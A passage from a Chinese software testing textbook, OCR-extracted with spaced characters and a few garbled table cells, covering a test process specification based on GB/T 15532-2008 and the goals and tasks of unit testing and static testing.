(5) 缺陷 移 除 效 率 。 

(6) 缺陷 发 现 率 。 

(7) 缺陷 引进 ,发 现 和 移 除 等 阶段 。 

(8) 测试 成 本 ,包括 时 间 、 工 作 量 和 资金 。 

量化 的 因子 包括 以 下 两 个 。 

(1) 已 定义 的 测试 过 程 使 用 。 

(2) 客户 满意 度 。 

详细 内 容 , 可 以 参考 Rick Craig 和 Stefan P. Jaski 所 著 的 Systematic Software Testing 
(有 中 文 译本 (系统 的 软件 测试 》 。 


4.6 软件 测试 规范 


一 个 完整 的 软件 测试 规范 ,应 该 包括 规范 本 身 的 详细 说 明 , 比 如 规范 目的 ,范围 .文档 结 
构 词汇 表 、 参 考 信 息 、 可 追溯 性 ,方针 ,过程 / 规 范 、 指 南 、 模 板 、 检 查 表 、 培 训 、 工 具 、 参 考 资料 
等 。 这 里 主要 参考 GBT 15532 一 2008《 计 算 机 软件 测试 规范 ) 来 介绍 软件 测试 规范 ,包括 软件 
测试 的 每 个 子 过 程 中 测试 人 员 的 角色 、 职 责 、 活 动 描述 及 所 需 资 料 。 

1. 角色 

任何 项 目的 实施 首先 要 考虑 的 是 人 的 因素 ,对 人 的 识别 与 确认 ,软件 测试 尤其 不 能 例外 。 
在 软件 测试 中 ,通常 会 把 所 有 涉及 人 员 进 行 分 类 以 确立 角色 ,并 按 角色 进行 职责 划分 。 通 常会 
按 表 4-5 的 方式 进行 划分 。 


表 4-5 软件 测试 中 最 基本 的 角色 定义 


测试 分 析 人 员 制定 和 维护 测试 计划 ,设计 测试 用 例 及 测试 过 程 ,生成 测试 分 析 报 告 
测试 人 员 执行 集成 测试 和 系统 测试 ,记录 测试 结果 
设计 人 员 设计 测试 需要 的 驱动 程序 和 桩 程序 
编码 人 员 编写 测试 驱动 程序 和 桩 程序 ,执行 单元 测试 
2. 进入 准则 


进入 准则 也 就 是 对 软件 测试 切入 点 的 确立 。 通 过 前 几 章 的 学 习 , 我 们 知道 ,软件 测试 实质 
上 是 伴随 SQA 整体 活动 ,在 软件 开发 周期 的 各 个 阶段 都 在 进行 的 ,因此 软件 项 目 立项 并 得 到 
批准 就 意味 着 软件 测试 的 开始 。 


3. 输入 项 


软件 测试 需要 相关 的 文档 作为 测试 设计 及 测试 过 程 判断 符合 性 的 依据 和 标准 ,对 于 需要 
进行 专业 的 单元 测试 的 项 目 还 要 有 程序 单元 及 软件 集成 计划 相应 版 本 等 文档 资料 。 这 些 文档 
一 并 作为 测试 的 输入 ,如 表 4-6 所 示 。 


表 4-6 软件 测试 输入 项 


软件 项 目 计划 是 一 个 综合 的 组 装 工件 ,用 来 收集 管理 项 目 时 
软件 项 目 计划 所 需 的 所 有 信息 《项 目 开 发 计划 》 
描述 软件 需求 的 文档 ,如 软件 需求 规约 (SRS) 文 档 或 利用 、 
软件 需求 文档 CASE 工具 建 模 生 成 的 文档 《需求 规格 说 明 书 》 
构架 设计 文档 主要 描述 备 选 设计 方案 .软件 子 系统 划分 、 子 en 
软件 构架 设计 文档 系统 间接 口 和 错误 处 理 机 制 等 《概要 设计 说 明 书 》 
a 详细 设计 文档 主要 描述 将 构架 设计 转化 为 最 小 实施 单元 , 产 | ，，，，、， 
软件 详细 设计 文档 二 可 以 霹 码 实 天 区 设 证 《详细 设计 说 明 书 》 
软件 程序 单元 包括 所 有 编码 员 完 成 的 程序 单元 源 代码 
软件 工作 版 本 的 定义 、 工 作 版 本 的 内 容 、 集 成 的 策略 以 及 实 
软件 集成 计划 施 的 先后 硕 疾 等 
软件 工作 版 本 按照 集成 计划 创建 的 各 个 集成 工作 版 本 
4. 活动 
1) 制定 测试 计划 
角色 : 测试 设计 员 。 
活动 描述 : 


(1) 制定 测试 计划 的 目的 是 收集 和 组 织 测试 计划 信息 ,并 且 创建 测试 计划 。 

(2) 确定 测试 需求 一 一 根据 需求 集 收集 和 组 织 测试 需求 信息 ,确定 测试 需求 。 

(3) 制定 测试 策略 一 一 针对 测试 需求 定义 测试 类 型 测试 方法 以 及 需要 的 测试 工具 等 。 
(4) 建立 测试 通过 准则 一 一 根据 项 目 实际 情况 为 每 一 个 层次 的 测试 建立 通过 准则 。 
(5) 确定 资源 和 进度 一 一 确定 测试 需要 的 软 硬 件 资源 、 人 力 资 源 以 及 测试 进度 。 

(6) 评审 测试 计划 一 一 根据 同行 评审 规范 对 测试 计划 进行 同行 评审 。 
参考 文档 :《 软 件 测试 计划 模板 》。 


2) 测试 设计 


角色 : 测试 设计 员 ,设计 员 。 


活动 描述 : 设计 测试 的 目的 是 为 每 一 个 测试 需求 确定 测试 用 例 集 , 并 且 确 定 执行 测试 


例 的 测试 过 程 。 
(1) 设计 测试 用 例 。 
Q@ 对 每 一 个 测试 需求 ,确定 其 需要 的 测试 用 例 。 
@ 对 每 一 个 测试 用 例 ,确定 其 输入 及 预期 结果 。 
@ 确定 测试 用 例 的 测试 环境 配置 需要 的 驱动 程序 或 桩 程序 。 
@ 编写 测试 用 例文 档 。 
@ 对 测试 用 例 进 行 同行 评审 。 
(2) 开发 测试 过 程 。 
@ 根据 界面 原型 为 每 一 个 测试 用 例 定义 详细 的 测试 步骤 。 
@ 为 每 一 测试 步骤 定义 详细 的 测试 结果 验证 方法 。 
G) 为 测试 用 例 准 备 输入 数据 。 
@ 编写 测试 过 程 文档 。 
@ 对 测试 过 程 进行 同行 评审 。 
@ 在 实施 测试 时 对 测试 过 程 进行 更 改 。 
(3) 设计 单元 测试 和 集成 测试 需要 的 驱动 程序 和 桩 程序 。 
参考 文档 .《 软 件 测试 用 例 ) 模 板 ,《 软 件 测试 过 程 ) 模 板 。 
3) 实施 测试 
角色 : 测试 设计 员 ,编码 员 。 
活动 描述 : 实施 测试 的 目的 是 创建 可 重用 的 测试 脚本 ,并 且 实 施 测试 驱动 程序 和 桩 程序 。 
(1) 根据 测试 过 程 ,创建 .开发 测试 脚本 ,并 且 调试 测试 脚本 。 
(2) 根据 设计 编写 测试 需要 的 测试 驱动 程序 和 桩 程序 。 
4) 执行 单元 测试 
角色 : 编码 员 和 测试 人 员 
活动 描述 : 执行 单元 测试 的 目的 是 验证 单元 的 内 部 结构 以 及 单元 实现 的 功能 。 
(1) 按照 测试 过 程 ,手工 执行 单元 测试 或 运行 测试 脚本 自动 执行 测试 ; 
(2) 详细 记录 单元 测试 结果 ,并 将 测试 结果 提交 给 相关 组 ; 
(3) 对 修改 后 的 单元 执行 回归 测试 。 
参考 文档 :《 测 试 日 志 》 和 《软件 单元 测试 )。 
5) 执行 集成 测试 
角色 : 测试 员 。 
活动 描述 : 执行 集成 测试 的 目的 是 验证 单元 之 间 的 接口 以 及 集成 工作 的 功能 .性 能 等 。 
(1) 按照 测试 过 程 ,手工 执行 集成 测试 或 运行 测试 自动 化 脚本 执行 集成 测试 ; 
(2) 详细 记录 集成 测试 结果 ,并 将 测试 结果 提交 给 相关 组 ; 
(3) 对 修改 后 的 工作 版 本 执行 回归 测试 ,或 对 增 量 集成 后 的 版 本 执行 回归 测试 。 
6) 执行 系统 测试 
角色 : 测试 员 。 
活动 描述 : 执行 系统 测试 的 目的 是 确认 软件 系统 工作 版 本 满足 需求 。 
(1) 按照 测试 过 程 手工 执行 系统 测试 或 运行 测试 脚本 自动 执行 系统 测试 ; 
(2) 详细 记录 系统 测试 结果 .并 将 测试 结果 提交 给 相关 组 


(3) 对 修改 后 的 软件 系统 版 本 执行 回归 测试 。 

7) 评估 测试 

角色 : 测试 设计 员 和 相关 组 。 

活动 描述 : 评估 测试 的 目的 是 对 每 一 次 测试 结果 进行 分 析 评估 ,在 每 一 个 测试 阶段 提交 
测试 分 析 报 告 。 

(1) 由 相关 组 对 一 次 测试 结果 进行 分 析 , 并 提出 变更 请 求 或 其 他 处 理 意见 。 

(2) 分 析 阶 段 测试 情况 : 

Q@ 对 每 一 个 阶段 的 测试 覆盖 情况 进行 评估 。 

@ 对 每 一 个 阶段 发 现 的 缺陷 进行 统计 分 析 。 

@ 确定 每 一 个 测试 阶段 是 否 完成 测试 。 

@ 对 每 一 个 阶段 生成 测试 分 析 报 告 。 

5. 输出 项 

软件 测试 输出 项 见 表 4-7。 


表 4-7 软件 测试 输出 项 


输出 项 内 容 描 述 形成 的 文档 


测试 计划 包含 项 目 范围 内 的 测试 目的 和 测试 目标 的 有 关 信息 。 
软件 测试 计划 | 此 外 ,测试 计划 确定 了 实施 和 执行 测试 时 使 用 的 策略 ,同时 还 确 | 软件 测试 计划 模板 


定 了 所 需 资源 
二 册 汪 站 ca 5 
测试 过 程 是 对 给 定 测试 用 例 (或 测试 用 例 集 ) 的 设置 .执行 和 结果 
软件 测试 过 程 | 评估 的 详细 说 明 的 集合 软件 测试 过 程 模板 
测试 结果 是 记录 测试 期 间 测 试用 例 的 执行 情况 ,记录 测试 发 现 的 
测试 结果 日 志 | 缺陷 ,并 且 用 来 对 缺陷 进行 跟踪 本 认 日 杨 全 人 
测试 分 析 报 告 是 对 每 一 个 阶段 (单元 测试 ,集成 测试 ,系统 测试 ) 
目 2 
测试 分 析 报 告 的 测试 结果 进行 的 分 析 评估 测试 分 析 报 告 模板 
6. 验证 与 确认 
软件 测试 验证 与 确认 项 见 表 4-8。 
表 4-8 软件 测试 验证 与 确认 项 
验证 与 确认 内 容 内 容 描述 
软件 测试 计划 评审 由 项 目 经 理 、 测 试 组 .其 他 相关 测试 计划 进行 评审 
软件 测试 用 例 评审 由 测试 组 、 其 他 相关 组 对 测试 用 例 进行 评审 
软件 测试 过 程 评审 由 测试 组 、 其 他 相关 组 对 测试 过 程 进行 评审 
测试 结果 评估 由 测试 组 ,其 他 相关 组 对 测试 结果 进行 评估 
测试 分 析 报 告 评审 由 项 目 经 理 、 测 试 组 .其 他 相关 组 对 测试 分 析 报告 进行 评审 
SQA 验证 由 SQA 人 员 对 软件 测试 活动 进行 审计 
7. 退出 准则 


满足 组 织 / 项 目的 测试 停止 标准 。 


8. 度量 

软件 测试 活动 达到 退出 准则 的 要 求 时 ,对 于 当前 版 本 的 测试 即 告 停止 。 度 量 工 作 一 般 由 
SQA 人 员 通 过 一 系列 活动 收集 数据 ,利用 统计 学 知识 对 软件 质量 进行 统计 分 析 , 得 出 较 准 确 
的 软件 质量 可 靠 性 评估 报告 ,提供 给 客户 及 供 方 高 层 领 导 可 视 化 的 质量 信息 。 


小 结 


本 章 通 过 介绍 软件 测试 过 程 模型 ,帮助 读者 完整 地 了 解 软件 测试 的 过 程 ,包括 传统 的 软件 
过 程 和 敏捷 软件 过 程 ,掌控 软件 测试 的 全 局 ,能 够 灵活 运用 基于 脚本 的 测试 和 基于 探索 式 测 
试 ,有 利于 以 后 各 章 内 容 的 学 习 , 融 会 贯通 。 

在 了 解 软 件 测试 过 程 的 基础 上 ,如 何 借助 TMM、TPI 来 改进 测试 模型 ,掌握 测试 过 程 改 
进 模型 的 知识 是 非常 重要 的 ,会 不 断 启发 我 们 思考 ,做 好 各 项 测试 工作 。 软 件 测试 规范 是 测试 
工作 的 依据 和 准则 ,在 测试 标准 约束 下 和 测试 规范 指导 下 ,完成 测试 计划 设计、 执行 和 软件 产 
品 的 质量 评估 ,从 根本 上 保证 软件 测试 工作 的 质量 ,进而 保证 软件 产品 的 质量 ,降低 企业 的 成 
本 ,最 终 使 企业 具有 良好 的 竞争 力 。 


思考 题 


1. 针对 W 模型 和 TMap 模型 ,进行 对 比分 析 ,然后 讨论 各 自 的 特点 。 

2. 根据 TPI 模型 描述 ,你 认为 哪些 过 程 域 更 为 关键 ? 为 什么 ?然后 ,再 和 CTP 进行 对 比 
分 析 , 有 什么 新 的 启发 ? 

3. 看 看 能 否 为 某 一 设想 的 软件 团队 建立 一 个 简化 的 、 实 用 的 软件 测试 过 程 规范 。 


第 2 篇 
软件 测试 的 技术 


在 实际 项 目的 测试 过 程 中 ,会 面 对 许 多 复杂 的 问题 和 具体 的 困难 ,不 仅 采用 前 面 所 学 的 方 
法 ,还 要 拥有 很 好 的 技术 ,熟悉 业务 领域 知识 ,深入 系统 架构 .设计 模式 和 开发 框架 ,灵活 运用 
测试 工具 ,才能 真正 解决 问题 。 

在 这 一 篇 ,将 详细 介绍 单元 测试 与 集成 测试 .系统 测试 和 验收 测试 中 所 要 掌握 的 技能 ,以 
及 软件 本 地 化 测试 .自动 化 测试 脚本 开发 技能 等 内 容 , 共 有 5 章 。 

第 5 章 单元 测试 与 集成 测试 

第 6 章 系统 测试 

第 7 章 验收 测试 

第 8 章 软件 本 地 化 测试 

第 9 章 测试 自动 化 及 其 框架 


单元 测试 与 集成 测试 


按 阶 段 进行 测试 是 一 种 基本 的 测试 策略 ,单元 测试 是 测试 执行 过 程 
中 的 第 一 个 阶段 ,本章 主要 从 单元 测试 的 定义 ,目标 ,过程 .技术 与 方法 、 
评估 等 方面 进行 介绍 和 讨论 ,并 澄清 在 单元 测试 阶段 存在 的 一 些 误区 。 
然后 ,介绍 集成 测试 ,确保 各 个 单元 能 正常 结合 起 来 形成 所 要 构成 的 系 
统 。 现 在 人 们 越 来 越 强 调 持续 构建 ,持续 集成 和 持续 测试 ,单元 测试 和 
集成 测试 往往 交替 进行 .同步 进行 ,但 概念 上 还 是 先 单元 测试 ,后 集成 测 
试 , 所 以 本 章 内 容 还 是 这 样 安排 的 。 

在 测试 过 程 中 应 该 依据 每 一 个 阶段 的 不 同 特点 ,采用 不 同 的 测试 方 
法 和 技术 ,制定 不 同 的 测试 目标 。 在 单元 测试 或 集成 测试 中 主要 采用 白 
盒 测 试 方法 ,包括 对 代码 的 评审 .静态 分 析 和 结合 测试 工具 进行 动态 
测试 。 


5.1 单元 测试 的 目标 和 任务 


软件 系统 是 由 许多 单元 构成 的 ,这 些 单 元 可 能 是 一 个 对 象 或 是 一 个 
类 ,也 可 能 是 一 个 函数 ,也 可 能 是 一 个 更 大 的 单元 一 一 组 件 或 模块 。 要 
保证 软件 系统 的 质量 ,首先 就 要 保证 构成 系统 的 单元 的 质量 ,也 就 是 要 
开展 单元 测试 活动 。 通 过 充分 的 单元 测试 ,发 现 并 修正 单元 中 的 问题 ， 
从 而 为 系统 的 质量 打下 基础 。 


5.1.1 为 何 要 进行 单元 测试 


软件 测试 的 目的 之 一 就 是 尽 可 能 早 地 发 现 软件 中 存在 的 错误 ,从 而 
降低 软件 质量 成 本 ,测试 越 早 进行 越 好 ,单元 测试 就 显得 更 重要 ,也 是 系 
统 的 功能 测试 的 基础 。 在 实践 中 ,单元 测试 的 大 部 分 工作 由 开发 人 员 完 
成 ,而 开发 人 员 更 多 的 兴趣 在 编程 上 、 把 代码 写 出 来 ,而 不 愿 在 测试 上 花 
比较 多 的 时 间 , 对 测试 自己 的 代码 总 会 存在 心理 障碍 。 一 旦 编码 完成 ， 
开发 人 员 总 是 迫切 希望 交 给 测试 人 员 ,让 测试 人 员 去 执行 测试 。 如 果 没 
有 执行 好 单元 测试 ,软件 在 集成 阶段 及 后 续 的 测试 阶段 会 发 现 更 多 的 、 
各 种 各 样 的 错误 ,甚至 软件 根本 不 能 运行 。 大 量 的 时 间 将 被 花费 在 跟踪 
那些 包含 在 独立 单元 内 的 、 简 单 的 错误 上 面 , 所 以 表面 上 的 进度 取代 不 
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了 实际 进度 ,对 于 整个 项 目 或 系统 反而 会 增加 额外 的 工期 ,导致 软件 成 本 的 提高 。 软 件 中 存在 
的 错误 发 现 得 越 早 , 则 修改 和 维护 的 费用 就 越 低 , 而 且 难 度 越 小 ,所 以 单元 测试 是 早期 抓 住 这 
些 错误 的 最 好 时 机 。 

另 一 方面 ,总 有 一 些 自 认 为 很 棒 的 程序 员 , 对 自己 的 程序 充满 了 信心 ,对 单元 测试 很 漠然 ， 
认为 代码 没有 什么 小 问题 ,而 只 会 出 现 一些 集 成 上 的 大 问题 ,而 这 些 问题 要 依赖 测试 人 员 来 发 
现 。 但 是 规模 越 大 的 系统 ,其 系统 集成 的 复杂 性 就 越 高 。 现 在 大 多 数 软件 系统 的 规模 都 很 大 ， 
想 完 成 各 个 单元 之 间 的 接口 进行 全 面 的 测试 ,几乎 不 可 能 。 其 结果 是 测试 将 无 法 达到 它 所 应 
该 有 的 全 面 性 , 较 多 的 缺陷 将 被 遗漏 。 即 使 在 后 期 测试 中 再 被 发 现 ,也 会 造成 严重 的 影响 , 代 
码 的 修改 量 会 很 大 。 所 以 在 单元 测试 中 实际 也 包含 接口 测试 ,相当 于 集成 测试 的 一 部 分 工作 。 
从 目前 实践 来 看 ,软件 单元 测试 和 软件 集成 测试 难以 分 离 ,往往 是 同时 进行 的 ,所 以 把 单元 测 
试 和 集成 测试 放 在 一 章 内 进行 讨论 。 


5.1.2 单元 测试 的 目标 和 要 求 


单元 测试 是 对 软件 基本 组 成 单元 进行 的 测试 ,而 且 软 件 单元 是 在 与 程序 的 其 他 部 分 相隔 
离 的 情况 下 进行 独立 的 测试 。 单 元 测试 的 对 象 可 以 是 软件 设计 的 最 小 单位 一 一 一 个 具体 函数 
或 一 个 类 的 方法 ,也 可 以 是 一 个 功能 模块 ` 组 件 。 一 般 情况 下 ,被 测试 的 单元 能 够 实现 一 个 特 
定 的 功能 ,具有 一 定 的 独立 性 ,同时 又 通过 明确 的 接口 定义 与 其 他 单元 联系 起 来 。 调 试 与 单元 
测试 在 工作 中 常 交 织 在 一 起 ,操作 上 有 一 定 的 相似 性 ,但 两 者 的 目的 完全 不 同 。 测 试 是 为 了 找 
出 代码 中 存在 的 缺陷 ,通过 某 种 测试 覆盖 要 求 , 检 查 代 码 或 运行 代码 以 验证 是 否 符合 规范 、 符 
合 设计 要 求 等 ; 而 调试 是 为 了 修正 已 发 现 的 缺陷 , 即 针 对 已 发 现 的 缺陷 来 寻找 引起 缺陷 的 原因 ， 
例如 ,通过 设置 断 点 跟踪 程序 ,检查 变量 状态 ,判断 是 不 是 某 个 变量 取 值 不 对 而 导致 问题 的 出 现 。 

检验 各 单元 模块 是 否 被 正确 地 编码 , 即 验证 代码 和 软件 系统 设计 的 一 致 性 是 单元 测试 的 
主要 目标 ,但 是 单元 测试 的 目标 不 仅 是 测试 代码 的 功能 性 ,还 需 确保 代码 在 结构 上 可 靠 且 健 
壮 , 能 够 在 各 种 条 件 下 (包括 异常 条 件 , 如 异常 操作 和 异常 数据 ) 给 予 正确 的 响应 。 如 果 这 些 系 
统 中 的 代码 未 被 适当 测试 , 则 其 弱点 可 被 用 于 侵入 代码 ,并 导致 安全 性 风险 (例如 内 存 泄漏 或 
被 窃 指 针 ) 以 及 性 能 问题 。 执 行 完全 的 单元 测试 ,可 以 比较 彻底 地 消除 各 个 单元 中 所 存在 的 问 
题 ,避免 将 来 功能 测试 和 系统 测试 问题 查找 的 困难 ,从 而 减少 应 用 级 别 所 需 的 测试 工作 量 ,并 
且 彻 底 减 少 发 生 误差 的 可 能 性 。 概 括 起 来 ,单元 测试 是 对 单元 的 代码 规范 性 、 正 确 性 、 安 全 性 、 
性 能 等 进行 验证 ,通过 单元 测试 ,需要 验证 下 列 这 些 内 容 。 

(1) 数据 或 信息 能 否 正确 地 流入 和 流出 单元 。 

(2) 在 单元 工作 过 程 中 ,其 内 部 数据 能 否 保持 其 完整 性 ,包括 内 部 数据 的 形式 、 内 容 及 相 
互 关系 不 发 生 错 误 , 也 包括 全 局 变量 在 单元 中 的 处 理 和 影响 。 

(3) 在 数据 处 理 的 边界 处 能 否 正 确 工作 。 

(4) 单元 的 运行 能 否 做 到 满足 特定 的 逻辑 覆盖 。 

(5) 单元 中 发 生 了 错误 ,其 中 的 出 错 处 理 措施 是 否 有 效 。 

(6) 指针 是 否 被 错误 引用 ,资源 是 否 及 时 被 释放 。 

(7) 有 没有 安全 隐患 ? 是 否 使 用 了 不 恰当 的 字符 串 处 理 函 数 等 。 

单元 测试 的 主要 依据 是 (软件 需求 规格 说 明 书 》《 软 件 详细 设计 说 明 书 》, 同 时 要 参考 并 符 
合 软件 的 整体 测试 计划 和 集成 方案 。 单 元 测试 的 一 系列 活动 如 下 。 

(1) 建立 单元 测试 环境 ,包括 在 集成 开发 环境 (Integrated Development Environment， 


IDE) 中 安装 和 设置 单元 测试 工具 (插件 ); 

(2) 测试 脚本 (测试 代码 ) 的 开发 和 调试 ; 

(3) 测试 执行 及 其 结果 分 析 。 

在 单元 测试 活动 中 强调 被 测试 对 象 的 独立 性 ,软件 的 独立 单元 将 与 程序 的 其 他 部 分 隔离 
开 , 以 避免 其 他 单元 对 该 单元 的 影响 。 这 样 ,就 缩小 了 问题 分 析 范 围 。 在 单元 测试 中 ,需要 关 
注 以 下 主要 内 容 。 

(1) 目标 : 确保 模块 被 正确 地 编码 。 

(2) 依据 : 详细 设计 描述 。 

(3) 过 程 : 经 过 设计 、 脚 本 开发 .执行 .调试 和 分 析 结果 等 环节 。 

(4) 执行 者 : 由 程序 开发 人 员 和 测试 人 员 共 同 完 成 。 

(5) 采用 哪些 测试 方法 : 包括 代码 控制 流 和 数据 流 分 析 方法 ,并 结合 参数 输入 域 的 测试 方法 。 

(6) 测试 脚本 的 管理 : 可 以 按照 产品 代码 管理 的 方法 进行 类 似 的 配置 管理 (并 入 代码 
库 ) ,包括 代码 评审 ,版 本 分 支 . 变 更 控制 等 。 

(7) 如 何 进行 评估 : 通过 代码 覆盖 率 分 析 工 具 来 分 析 测 试 的 代码 覆盖 率 、 分 支 或 条 件 的 
覆盖 率 。 

何 时 可 以 结束 单元 测试 ? 测试 是 否 充 分 足够 ? 如 何 评估 测试 的 结果 ? 每 个 项 目 都 有 自己 
的 特殊 需求 ,但 通常 除了 代码 的 标准 和 规范 ,单元 测试 中 主要 考虑 的 是 对 结构 和 数据 测试 的 覆 
盖 率 。 下 面 给 出 是 否 通过 单元 测试 的 一 般 准 则 。 

(1) 软件 单元 功能 与 设计 需求 一 致 。 

(2) 软件 单元 接口 与 设计 需求 一 致 

(3) 能 够 正确 处 理 输入 和 运行 中 的 错误 。 

(4) 在 单元 测试 中 发 现 的 错误 已 经 得 到 修改 并 且 通 过 了 测试 。 

(5) 达到 了 相关 的 覆盖 率 的 要 求 。 

(6) 完成 软件 单元 测试 报告 。 


5.1.3 单元 测试 的 任务 


为 了 实现 上 述 目 标 ,单元 测试 的 主要 任务 包括 对 单元 功能 ,逻辑 控制 ,数据 和 安全 性 等 各 
方面 进行 必要 的 测试 。 具 体 地 说 ,包括 单元 中 所 有 独立 执行 路 径 、 数 据 结构 、 接 口 .边界 条 件 、 
容错 性 等 测试 。 

1. 单元 独立 执行 路 径 的 测试 

在 单元 中 应 对 每 一 条 独立 执行 路 径 进 行 测试 ,这 不 仅 检验 单元 中 每 条 语句 (代码 行 ) 至 少 
能 够 正确 执行 ,主要 检查 下 列 问题 。 

(1) 误解 或 用 错 了 算 符 优先 级 ; 

(2) 混合 类 型 运算 ; 

(3) 变量 初始 化 错误 ,赋值 错误 ; 

(4) 错误 计算 或 精度 不 够 ; 

(5) 表达 式 符号 错 等 。 

而 且 要 检验 所 涉及 的 逻辑 判断 、 人 逻辑 运算 是 否 正确 ,如 是 否 存 在 不 正确 的 比较 和 不 适当 的 
控制 流 造 成 的 错误 。 此 时 判定 覆盖 条 件 覆 盖 和 基本 路 径 覆 盖 等 方法 是 最 常用 且 最 有 效 的 测 
试 技 术 。 比 较 判 断 与 控制 流 常常 紧密 相关 ,这 方面 常见 的 错误 主要 有 以 下 几 种 。 


(1) 不 同 数 据 类 型 的 对 象 之 间 进 行 比较 ; 

(2) 错误 地 使 用 逻辑 运算 符 或 优先 级 ， 

(3) 因 变 量 取 值 的 局 限 性 ,期 望 理论 上 相等 而 实际 上 不 相等 的 两 个 变量 的 比较 ; 

(4) 比较 运算 或 变量 出 错 ; 

(5) 循环 终止 条 件 错 误 或 形成 死 循 环 ; 

(6) 错误 地 修改 了 循环 变量 。 

2. 单元 局 部 数据 结构 的 测试 

检查 局 部 数据 结构 是 检查 临时 存储 的 数据 在 程序 执行 过 程 中 是 否 正确 、 完 整 。 局 部 数据 
结构 往往 是 错误 的 根源 ,应 仔细 设计 测试 用 例 ,力求 发 现下 面 几 类 错误 。 

(1) 不 合适 或 不 相 容 的 类 型 说 明 ; 

(2) 变量 无 初 值 ; 

(3) 变量 初始 化 或 缺 省 值 有 错 ; 

(4) 不 正确 的 变量 名 ( 拼 错 或 不 正确 地 截断 ); 

(5) 出 现 上 溢 、 下 溢 和 地 址 异常 。 

3. 单元 接口 测试 

只 有 在 数据 能 正确 输入 (如 函数 参数 调用 ) ,输出 (如 函数 返回 值 ) 的 前 提 下 ,其 他 测试 才 有 
意义 。 对 单元 接口 的 检验 ,不 仅 是 集成 测试 的 重点 ,也 是 单元 测试 的 不 可 忽视 的 部 分 。 单 元 接 
口 测试 应 该 考虑 下 列 主要 因素 。 

(1) 输入 的 实际 参数 与 形式 参数 的 个 数 、 类 型 等 是 否 匹配 一 致 ; 

(2) 调用 其 他 单元 时 所 给 实际 参数 与 被 调 单元 的 形式 参数 个 数 、 属 性 和 量 纲 是 否 匹 配 ; 

(3) 调用 预定 义 函 数 时 所 用 参数 的 个 数 、 属 性 和 次 序 是 否 正 确 ; 

(4) 是 否 存 在 与 当前 入 口 点 无 关 的 参数 引用 ; 

(5) 是 否 修 改 了 只 读 型 参数 ; 

(6) 对 全 程 变 量 的 定义 各 单元 是 否 一 致 ; 

(7) 是 否 把 某 些 约束 作为 参数 传递 。 

如 果 单 元 内 包括 外 部 输入 输出 (如 打开 某 文件 . 读 入 文件 数据 ,向 数据 库 写 和 等) ,还 应 该 
考虑 下 列 因 素 。 

(1) 文件 属性 是 否 正确 ; 

(2) OPEN/CLOSE 语句 是 否 正 确 ; 

(3) 格式 说 明 与 输入 输出 语句 是 否 匹 配 ; 

(4) 缓冲 区 大 小 与 记录 长 度 是 否 匹 配 ; 

(5) 文件 使 用 前 是 否 已 经 打开 ; 

(6) 是 否 处 理 了 文件 尾 ; 

(7) 是 否 对 异常 的 输入 输出 进行 判断 ; 

(8) 输出 信息 中 是 否 有 格式 错误 。 

4. 单元 边界 条 件 的 测试 

众所周知 ,程序 容易 在 边界 上 失效 ,采用 边界 值 分 析 技术 ,针对 边界 值 及 其 左右 设计 测试 
用 例 , 很 有 可 能 发 现 新 的 错误 。 如 果 在 单元 测试 中 忽略 边界 条 件 的 测试 ,在 系统 级 测试 中 很 难 
被 发 现 ,即使 被 发 现 后 对 其 跟踪 、 寻 其 根源 也 是 一 件 不 容易 的 事 。 


5. 单元 容错 性 测试 

在 软件 构造 中 强调 防御 式 编程 , 即 要 求 在 编写 程序 时 能 预见 各 种 可 能 的 出 错 条 件 ,并 针对 
这 些 出 错 进行 正确 处 理 , 如 给 予 出 错 提示 或 设置 统一 的 出 错 处 理 函 数 。 针 对 单元 错误 处 理 机 
制 (容错 性 ) ,着 重 检查 下 列 问 题 。 

(1) 输出 的 出 错 信息 难以 理解 ; 

(2) 记录 的 错误 与 实际 遇 到 的 错误 不 相符 ; 

(3) 在 程序 自 定义 的 出 错 处 理 代 码 运行 之 前 ,系统 已 介入 ; 

(4) 异常 处 理 不 当 ; 

(5) 错误 陈述 中 未 能 提供 足够 的 定位 出 错 信息 。 

6. 内 存 分 析 

内 存 泄漏 会 导致 系统 运行 的 骨 溃 ,尤其 对 于 嵌入 式 系统 这 种 资源 比较 匮乏 .应 用 非常 广 
泛 ,而 且 往往 又 处 于 重要 部 位 的 ,将 可 能 导致 无 法 预料 的 重大 损失 。 通 过 测量 内 存 使 用 情况 ， 
可 以 了 解 程序 内 存 分 配 的 真实 情况 ,发 现 对 内 存 的 不 正常 使 用 ,在 问题 出 现 前 发 现 征兆 ,在 系 
统 崩 溃 前 发 现 内 存 泄 漏 错误 ; 发 现 内 存 分 配 错误 ,并 精确 显示 发 生 错误 时 的 上 下 文 情况 ,指出 
发 生 错 误 的 原由 。 


5.2 静态 测试 


静态 测试 技术 是 单元 测试 中 最 重要 的 手段 之 一 ,适用 于 新 开发 的 和 重用 的 代码 。 通 常 在 
代码 完成 并 无 错误 地 通过 编译 或 汇编 后 进行 ,采用 工具 扫描 分 析 、 代 码 评审 等 方法 。 测 试 人 员 
主要 由 软件 开发 人 员 及 其 开发 小 组 成 员 组 成 。 


5.2.1 编码 的 标准 和 规范 


代码 即使 可 以 正常 运行 ,但 是 不 符合 某 种 标准 和 规范 ,会 给 将 来 程序 维护 带 来 隐患 。 标 准 
是 建立 起 来 和 必须 遵守 的 规则 一 一 做 什么 和 不 做 什么 ,而 规范 是 建议 如 何 去 做 ,推荐 更 好 的 工 
作 方式 , 例 如 自 定义 变量 和 函数 的 命名 。 标 准 没有 例外 情况 ,是 结构 严谨 的 ,规范 就 没有 那么 
严格 ,相对 松 一 些 。 在 一 些 正规 的 项 目 中 ,经 常 有 一 些 在 测试 中 表现 稳定 的 软件 ,因为 不 符合 
规范 而 被 认为 有 问题 ,为 什么 呢 ? 至 少 有 以 下 三 个 重要 原因 可 以 说 明 要 坚持 标准 和 规范 。 

(1) 可 靠 性 。 事 实证 明 按照 某 种 标准 或 规范 编写 的 代码 比 不 这 样 做 的 代码 更 加 可 靠 , 软 
件 缺 陷 更 少 。 

(2) 可 读 性 和 维护 性 。 符 合 设备 标准 和 规范 的 代码 易于 阅读 、 理 解 和 维护 。 

(3) 移植 性 。 代 码 经 常 需要 在 不 同 的 硬件 上 运行 ,或 者 使 用 不 同 的 编译 器 编译 ,如 果 代 码 
符合 标准 ,迁移 到 另 一 个 平台 就 会 相对 容易 ,甚至 完全 没有 障碍 。 

代码 中 最 常用 的 是 表达 式 ,而 表达 式 通 常 是 由 变量 .函数 .常数 和 运算 符 组 成 ,通过 运算 符 
将 变量 .函数 .常数 组 合成 合理 ` 有 效 的 表达 式 。 变 量 通常 分 为 系统 变量 和 自 定义 变量 , 自 定义 
